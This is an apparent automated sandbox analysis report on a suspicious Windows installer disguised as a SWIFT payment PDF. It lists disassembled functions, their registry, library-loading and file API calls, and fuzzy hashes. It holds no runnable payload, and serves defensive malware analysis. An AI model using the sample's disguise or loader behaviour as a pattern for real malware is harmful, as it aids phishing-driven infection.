Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-2470672872
Opcode ID: 87e393fdd40e1d767205cfde8df7900e21dccd4be60ce2c97c6d908c1bde172d
Instruction ID: 7032c49e779d22ef4b019cebcd704e5cdda6a64cd28d021928a5f34cef86c798
Opcode Fuzzy Hash: 87e393fdd40e1d767205cfde8df7900e21dccd4be60ce2c97c6d908c1bde172d
Instruction Fuzzy Hash: 21F082777082046BDB109F66DC04B9B7B9CDF95750F14C03BFE44DA180D6B499548B59

Uniqueness

Uniqueness Score: -1.00%

Function 00402A47 Relevance: 7.6, APIs: 5, Instructions: 67
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNELBASE(?,?,00000000,?,?), ref: 00402A68
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402AA4
RegCloseKey.ADVAPI32(?), ref: 00402AAD
RegCloseKey.ADVAPI32(?), ref: 00402AD2
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402AF0

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: Close$DeleteEnumOpen
String ID:
API String ID: 1912718029-0
Opcode ID: 8d132b12fb4f7e3c0c57d0df483c4ead623641b1822a26b8d9db536e3ea124b7
Instruction ID: 1ad4598d9375e79b5c4158f8ae6fede31b6a0d7771ae0489b8e1e2a10aea7df0
Opcode Fuzzy Hash: 8d132b12fb4f7e3c0c57d0df483c4ead623641b1822a26b8d9db536e3ea124b7
Instruction Fuzzy Hash: 72116D31600108BFDF219F90DE48DAA3B6DEB55348B108036FA06A00A0D7B89E519F69

Uniqueness

Uniqueness Score: -1.00%

Function 100016DA Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118COMMON

Download Yara Rule

APIs

Part of subcall function 10001A86: GlobalFree.KERNEL32(?), ref: 10001CCE
Part of subcall function 10001A86: GlobalFree.KERNEL32(?), ref: 10001CD3
Part of subcall function 10001A86: GlobalFree.KERNEL32(?), ref: 10001CD8

GlobalFree.KERNEL32(00000000), ref: 10001785
FreeLibrary.KERNEL32(?), ref: 100017FC
GlobalFree.KERNEL32(00000000), ref: 10001821

Part of subcall function 10002165: GlobalAlloc.KERNEL32(00000040,8A470175), ref: 10002197

Part of subcall function 10002540: GlobalAlloc.KERNEL32(00000040,?,?,?,00000000,?,?,?,?,10001756,00000000), ref: 100025B2

Part of subcall function 10001576: lstrcpyA.KERNEL32(00000000,?,00000000,100016B2,00000000), ref: 1000158F

Part of subcall function 1000236D: wsprintfA.USER32 ref: 100023D2
Part of subcall function 1000236D: GlobalFree.KERNEL32(?), ref: 1000248E
Part of subcall function 1000236D: GlobalFree.KERNEL32(00000000), ref: 100024B7

Strings

, xrefs: 10001802

Memory Dump Source

Source File: 00000006.00000002.134294229538.0000000010001000.00000020.00000001.01000000.00000008.sdmp, Offset: 10000000, based on PE: true

Associated: 00000006.00000002.134294192586.0000000010000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.134294264369.0000000010003000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.134294303301.0000000010005000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_10000000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpywsprintf
String ID:
API String ID: 1767494692-3916222277
Opcode ID: 0952c09c6252a8ba46cc4746145f3c2b250c4692183d3e2bc8c66cf4bd3bffc0
Instruction ID: a4822a2f56843d2abdfa94b6917cafe90cab4d4c428c41a0756c8854a89f2b82
Opcode Fuzzy Hash: 0952c09c6252a8ba46cc4746145f3c2b250c4692183d3e2bc8c66cf4bd3bffc0
Instruction Fuzzy Hash: 3131AD759046059AFB41EF249CC9BDA37ECFF052D0F00C029FA09AA09EDF7499458BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00401BB8 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C18
SendMessageA.USER32(00000000,00000000,?,?), ref: 00401C30

Strings

!, xrefs: 00401BEC

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 3698ce71db31f8b469170a2b9811606ddb50db903b10dbb8916321b005f99d26
Instruction ID: 12ae1f52ecf524c97be6b8063d2fdb139482407b097923a357ceac7fbdf5fe65
Opcode Fuzzy Hash: 3698ce71db31f8b469170a2b9811606ddb50db903b10dbb8916321b005f99d26
Instruction Fuzzy Hash: 43219271A44248AFEF01AFB4CD8AAAE7FB5EF44348F14443EF501B61E1D6B95940DB18

Uniqueness

Uniqueness Score: -1.00%

Function 00401F68 Relevance: 6.1, APIs: 4, Instructions: 73libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNELBASE(00000000,00000001,000000F0), ref: 00401F93

Part of subcall function 00404E84: lstrlenA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll,00000000,0078F2A8,007898A8,?,?,?,?,?,?,?,?,?,00402FA6,00000000,?), ref: 00404EBD
Part of subcall function 00404E84: lstrlenA.KERNEL32(00402FA6,Skipped: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll,00000000,0078F2A8,007898A8,?,?,?,?,?,?,?,?,?,00402FA6,00000000), ref: 00404ECD
Part of subcall function 00404E84: lstrcatA.KERNEL32(Skipped: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll,00402FA6,00402FA6,Skipped: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll,00000000,0078F2A8,007898A8), ref: 00404EE0
Part of subcall function 00404E84: SetWindowTextA.USER32(Skipped: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll,Skipped: C:\Users\user\AppData\Local\Temp\nsv10BA.tmp\System.dll), ref: 00404EF2
Part of subcall function 00404E84: SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00404F18
Part of subcall function 00404E84: SendMessageA.USER32(?,00001007,00000000,00000001), ref: 00404F32
Part of subcall function 00404E84: SendMessageA.USER32(?,00001013,?,00000000), ref: 00404F40

LoadLibraryExA.KERNELBASE(00000000,?,00000008,00000001,000000F0), ref: 00401FA3
GetProcAddress.KERNEL32(00000000,?), ref: 00401FB3
FreeLibrary.KERNELBASE(00000000,00000000,000000F7,?,?,00000008,00000001,000000F0), ref: 0040201D

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$AddressFreeHandleLoadModuleProcTextWindowlstrcat
String ID:
API String ID: 2987980305-0
Opcode ID: 0b3dc729bd951b2f0749e00079973c11294a56becaede699027b28deb442bc2b
Instruction ID: d3abe0a985e527f0133db3cb222e4045a6b822903cb71d54981d30858ec5e20d
Opcode Fuzzy Hash: 0b3dc729bd951b2f0749e00079973c11294a56becaede699027b28deb442bc2b
Instruction Fuzzy Hash: 01213032904211ABCF207F64CE49A6F79B0AF44358F20413BF601B62D1D7BD4E419A5E

Uniqueness

Uniqueness Score: -1.00%

Function 00405712 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00405B77: lstrcpynA.KERNEL32(?,?,00000400,0040315F,007A1F00,NSIS Error), ref: 00405B84

Part of subcall function 004056BD: CharNextA.USER32(?,?,outvillain\faber.div,?,00405729,outvillain\faber.div,outvillain\faber.div,?,?,75EE3410,00405474,?,C:\Users\user\AppData\Local\Temp\,75EE3410,00000000), ref: 004056CB
Part of subcall function 004056BD: CharNextA.USER32(00000000), ref: 004056D0
Part of subcall function 004056BD: CharNextA.USER32(00000000), ref: 004056E4

lstrlenA.KERNEL32(outvillain\faber.div,00000000,outvillain\faber.div,outvillain\faber.div,?,?,75EE3410,00405474,?,C:\Users\user\AppData\Local\Temp\,75EE3410,00000000), ref: 00405765
GetFileAttributesA.KERNELBASE(outvillain\faber.div,outvillain\faber.div,outvillain\faber.div,outvillain\faber.div,outvillain\faber.div,outvillain\faber.div,00000000,outvillain\faber.div,outvillain\faber.div,?,?,75EE3410,00405474,?,C:\Users\user\AppData\Local\Temp\,75EE3410), ref: 00405775

Strings

outvillain\faber.div, xrefs: 00405718, 0040571D, 00405723, 0040575E, 00405764, 0040576C, 00405774

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: outvillain\faber.div
API String ID: 3248276644-1876387199
Opcode ID: 948b862332c8f3da9c9767df0f5b65eb8bb3e35ca68fd5066b4b6d0f3dd8e5f9
Instruction ID: 9c3b755cb3c6d616dab6a000ce5f665f7bfd003de174882c1d400389f5d3e8f3
Opcode Fuzzy Hash: 948b862332c8f3da9c9767df0f5b65eb8bb3e35ca68fd5066b4b6d0f3dd8e5f9
Instruction Fuzzy Hash: 62F0C835105D5499C62237391D45AAF2658CD87364F180A3BF851B32D1DB3C8942BDAE

Uniqueness

Uniqueness Score: -1.00%

Function 004030BB Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00405DE2: CharNextA.USER32(?,*?|<>/":,00000000,"C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030C7,C:\Users\user\AppData\Local\Temp\,75EE3410,0040329C), ref: 00405E3A
Part of subcall function 00405DE2: CharNextA.USER32(?,?,?,00000000), ref: 00405E47
Part of subcall function 00405DE2: CharNextA.USER32(?,"C:\Users\user\Desktop\SWIFTCOPYMT1030000000_pdf.exe",C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030C7,C:\Users\user\AppData\Local\Temp\,75EE3410,0040329C), ref: 00405E4C
Part of subcall function 00405DE2: CharPrevA.USER32(?,?,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,004030C7,C:\Users\user\AppData\Local\Temp\,75EE3410,0040329C), ref: 00405E5C

CreateDirectoryA.KERNELBASE(C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,75EE3410,0040329C), ref: 004030DC

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004030BC, 004030C1, 004030C7, 004030D3, 004030DB, 004030E2
1033, xrefs: 004030E3

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID: 1033$C:\Users\user\AppData\Local\Temp\
API String ID: 4115351271-2414109610
Opcode ID: 8e7680eb481f2e00cc16df113ff911000dfe49d9d02a3d1b6cba6af61926cd3a
Instruction ID: c9728f7b553dd8aa4c0e43ad66b561e8a411fb1fe81b444dc1201db4bd0af2db
Opcode Fuzzy Hash: 8e7680eb481f2e00cc16df113ff911000dfe49d9d02a3d1b6cba6af61926cd3a
Instruction Fuzzy Hash: 13D09222506D3122E99132263C06FCF1A4C8F8B35AF51817BF50A781855A6D1A92C9FE

Uniqueness

Uniqueness Score: -1.00%

Function 00405A5E Relevance: 4.5, APIs: 3, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNELBASE(80000002,00405CA3,00000000,00000002,?,00000002,?,?,00405CA3,80000002,Software\Microsoft\Windows\CurrentVersion,?,Call,?), ref: 00405A87
RegQueryValueExA.KERNELBASE(?,?,00000000,00405CA3,?,00405CA3), ref: 00405AA8
RegCloseKey.KERNELBASE(?), ref: 00405AC9

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: a7dc294ab98d1aedf48ab84cf89b8b0d9a3be53888eb2216a8b2e534b80ab0d4
Instruction ID: 3b0245f56489bc6861cff030ff267d915796a633b737c7f0fb79f2751f8918b0
Opcode Fuzzy Hash: a7dc294ab98d1aedf48ab84cf89b8b0d9a3be53888eb2216a8b2e534b80ab0d4
Instruction Fuzzy Hash: 74015A7114020AEFDB128F64EC88AEB3FACEF14394F044136F905A6260D235D964CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00402438 Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402B11: RegOpenKeyExA.KERNELBASE(00000000,00000527,00000000,00000022,00000000,?,?,?,004022CA,00000002), ref: 00402B39

RegEnumKeyA.ADVAPI32(00000000,00000000,?,000003FF), ref: 00402466
RegEnumValueA.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00000003,00020019), ref: 00402479
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsv10BA.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040248E

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: e0a1bc4ab8869d2a121cb057061cf9ed2671c29535a9e67340b1f386ccbb16c1
Instruction ID: d28fcdc599a7f9727bcbc73a1b2195d927587ee9f1dfd2233f1a348fd0a26dbd
Opcode Fuzzy Hash: e0a1bc4ab8869d2a121cb057061cf9ed2671c29535a9e67340b1f386ccbb16c1
Instruction Fuzzy Hash: AEF0F472A04205EFE7119F689E8CEBF7A6CEF40348F10483FF105B61C0D6B95E41962A

Uniqueness

Uniqueness Score: -1.00%

Function 00402517 Relevance: 3.1, APIs: 2, Instructions: 79fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,00000001,?,?,?,00000002), ref: 00402563

Part of subcall function 00405AD5: wsprintfA.USER32 ref: 00405AE2

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: FileReadwsprintf
String ID:
API String ID: 3326442220-0
Opcode ID: 14b2645a2d3aaee7aa82702909eb729c7392d646557c2fb458c46880e8a2d5aa
Instruction ID: 0299c1a24440926a7a2aae36e035f1b33a41ebd789bdaa0b01dbfd16c80bf010
Opcode Fuzzy Hash: 14b2645a2d3aaee7aa82702909eb729c7392d646557c2fb458c46880e8a2d5aa
Instruction Fuzzy Hash: 0F21E470D05299FFDF219B948E685AEBB759B01304F14417BF481B62D2D6BC8A81CB2D

Uniqueness

Uniqueness Score: -1.00%

Function 004023C6 Relevance: 3.1, APIs: 2, Instructions: 56registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402B11: RegOpenKeyExA.KERNELBASE(00000000,00000527,00000000,00000022,00000000,?,?,?,004022CA,00000002), ref: 00402B39

RegQueryValueExA.ADVAPI32(00000000,00000000,?,?,?,?), ref: 004023F6
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsv10BA.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 0040248E

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.134273476871.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273555516.0000000000407000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000409000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.000000000077A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000780000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000784000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.0000000000788000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A0000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A4000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007A7000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134273591463.00000000007BD000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.134274096358.00000000007BF000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_SWIFTCOPYMT1030000000_pdf.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID:
API String ID: 3677997916-0
Opcode ID: b439f61bfe72f3706feb706b2374f9df9e561f3deb36810b4298d1c7e54b1251
Instruction ID: ce2297d9d5ce314a5bfea79886eaba96e34c70be170e39046d40c33bd9eb9c4f
Opcode Fuzzy Hash: b439f61bfe72f3706feb706b2374f9df9e561f3deb36810b4298d1c7e54b1251
Instruction Fuzzy Hash: DB119E31D05205EFDB15DF64CA889AFBBB4EF45344F20843FE446B62C0D2B85A41DB2A

Uniqueness

Uniqueness Score: -1.00%

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageA.USER32(?,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000006.00000002.134273513880.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

